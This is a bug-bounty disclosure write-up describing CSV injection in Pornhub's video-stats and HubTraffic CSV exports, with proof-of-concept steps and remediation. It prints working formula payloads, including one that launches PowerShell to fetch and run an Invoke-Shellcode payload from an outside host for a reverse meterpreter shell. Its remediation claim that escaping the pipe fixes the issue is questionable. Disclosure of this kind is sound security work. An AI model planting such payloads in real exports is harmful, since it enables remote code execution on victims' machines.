Note at the time of publishing both of these issues have been marked as non-patch so are still vulnerabilities

This post will discuss two issues I found regarding CSV injection on Pornhub, both of which were marked as informative and resulted in no reward. However Pornhub disclosed the report with limited details, here is the entire output from the report.

Difficulty: **Low**
Risk: **Medium-High**
URL: ht.pornhub.com, pornhub.com
Report Link: https://hackerone.com/reports/146593
Date Reported: June 22nd, 2016
Bounty Paid: **$0**
Twitter: https://twitter.com/ZephrFish

The tl;dr version of this vulnerability is exploiting CSV injection, to gain meterpreter session on a victim's system, thus remote code exec.

Pornhub's summary of the report was as follows, however the entire story is shown.

The researcher identified that it was possible to inject arbitrary characters into video titles, that when exported via video manager would result in client-side code execution. The researcher was successful in getting a pingback from a meterpreter shell on the victim's machine.

Issue

Many web applications provide a user with an option to export data to a CSV file format, and when the data can be influenced

by an attacker (registration names, analytics etc), you are facing a potentially dangerous combination.

Description of Finding

The consultant identified that the export video stats function is vulnerable to remote code execution. This can be achieved by uploading a video and setting the name to a malicious value such as:

```
@SUM(1+2+3)*cmd|' /C calc'!A0
```

This will launch calculator when the spreadsheet is downloaded and launched, it was identified that pornhub takes certain steps to attempt to escape this however it seems that the @ character has been missed from the blacklisted characters and thus makes this attack possible.

To highlight the risk of such a vulnerability, sometimes popping calc.exe isn't enough, and nothing quantifies risk quite like a meterpreter shell. This is possible by using the following value:

```
@SUM(1+2+3)*cmd|'/C powershell IEX(wget 0r.pe/p)'!A0
```

This payload works by, when the csv file is opened powershell is launched in the background which attempts to grab the Powersploit payload of Invoke-Shellcode to attempt a reverse shell connection back to the attacker's server.

Proof of Concept

Step 1:

Navigate to video upload,
http://www.pornhub.com/upload/videodata

Step 2:

Upload a video and change the name to `@SUM(1+2+3)*cmd|' /C calc'!A0`

Step 3:

Visit video manager and select download stats

This will download a .xlsx file, when opened excel will display a warning which the user simply needs to click yes to open the file.

I then found the issue also affects Pornhub's hubtraffic statistics site. The proof of concept attack is shown in the output below

Issue on hub traffic

This issue has been confirmed to be working on Pornhub.com's uploaded videos however as hubtraffic allows export from other sites too, it should be corrected across all sites that hub traffic can export information from.

Affected URLs

1. http://ht.pornhub.com/export/index?site__id=3
2. `http://www.pornhub.com/webmasters/dump_output?keywords=calc&categories=105,3,35,98,1,48,6,5,89,40,66,141,4,58,7,8,76,44,9,56,13,10,102,96,11,14,86,90,12,68,79,57,15,71,16,100,47,231,72,17,55,46,115,93,52,18,19,73,94,32,80,63,95,62,20,21,36,70,101,25,64,97,111,39,103,26,50,27,29,45,78,22,28,51,121,181,2,41,201,53,211,60,30,24,84,131,31,85,42,67,99,221,88,83,59,91,54,92,69,82,33,37,65,23,49,81,138,77,43,104,61&count=100&si`

`ze=small&rating=All&delimeter=%2C&fields=embed,url,categories,rating,username,title,tags,duration,pornstars,thumbnail,flipbook&period=all_time&order=mr&format=csv&utm_source=paid&utm_medium=hubtraffic&utm_campaign=hubtraffic_zerka`

3. Any videos with a malicious title

Proof of Concept

Step 1:

Navigate to video upload,
http://www.pornhub.com/upload/videodata

Step 2:

Upload a video and change the name to @SUM(1+2+3)*cmd|' /C calc'!A0

Step 3:

Visit http://ht.pornhub.com/export/index?site_id=3 and select Resources>Export enter the following options:
Key Phrase: calc
Videos Count: can be set to anything
Export Format: Delimited Text(CSV)
Field Delimiter: ,
Category: Select ALL

Step 4:

Select Get your export link, this will create an export link, similar to that shown below:

```
http://www.pornhub.com/webmasters/dump_output?keywords=calc&categories=105,3,35,98,1,48,6,5,89,40,66,141,4,58,7,8,76,44,9,56,13,10,102,96,11,14,86,90,12,68,79,57,15,71,16,100,47,231,72,17,55,46,115,93,52,18,19,73,94,32,80,63,95,6
```

```
2,20,21,36,70,101,25,64,97,111,39,103,26,50,27,29,45,78,22,28
,51,121,181,2,41,201,53,211,60,30,24,84,131,31,85,42,67,99,22
1,88,83,59,91,54,92,69,82,33,37,65,23,49,81,138,77,43,104,61&
count=100&size=small&rating=All&delimeter=%2C&fields=embed,ur
l,categories,rating,username,title,tags,duration,pornstars,th
umbnail,flipbook&period=all_time&order=mr&format=csv&utm_sour
ce=paid&utm_medium=hubtraffic&utm_campaign=hubtraffic_zerka
```

When clicked upon, this will download a .csv file, when opened excel or any other spreadsheet program will display a warning which the user simply needs to click yes to open the file.

Remediation

Ensure that video names contain only alpha numeric characters and cannot be modified to add arbitrary characters.
The issue here isn't the `@` character, or `=`, `+`, `-`. The problem is with the pipe (`|`) character, which Excel and other applications use to execute arbitrary commands. From research the best workaround is to escape the pipe character using a `\`.This is due to excel looking for an executable named cmd.exe however when adding a `\` into the path the exe will not launch hence escaping and fixing the issue.

Timeline of Events + Comments(Video Export Issue)

2016-06-23 14:57 (+0100): @jsacks (comment)

Thank you for your submission. We're looking into this now and get back to you soon. Please bear with us while we confirm this vulnerability and transfer the information to our developers.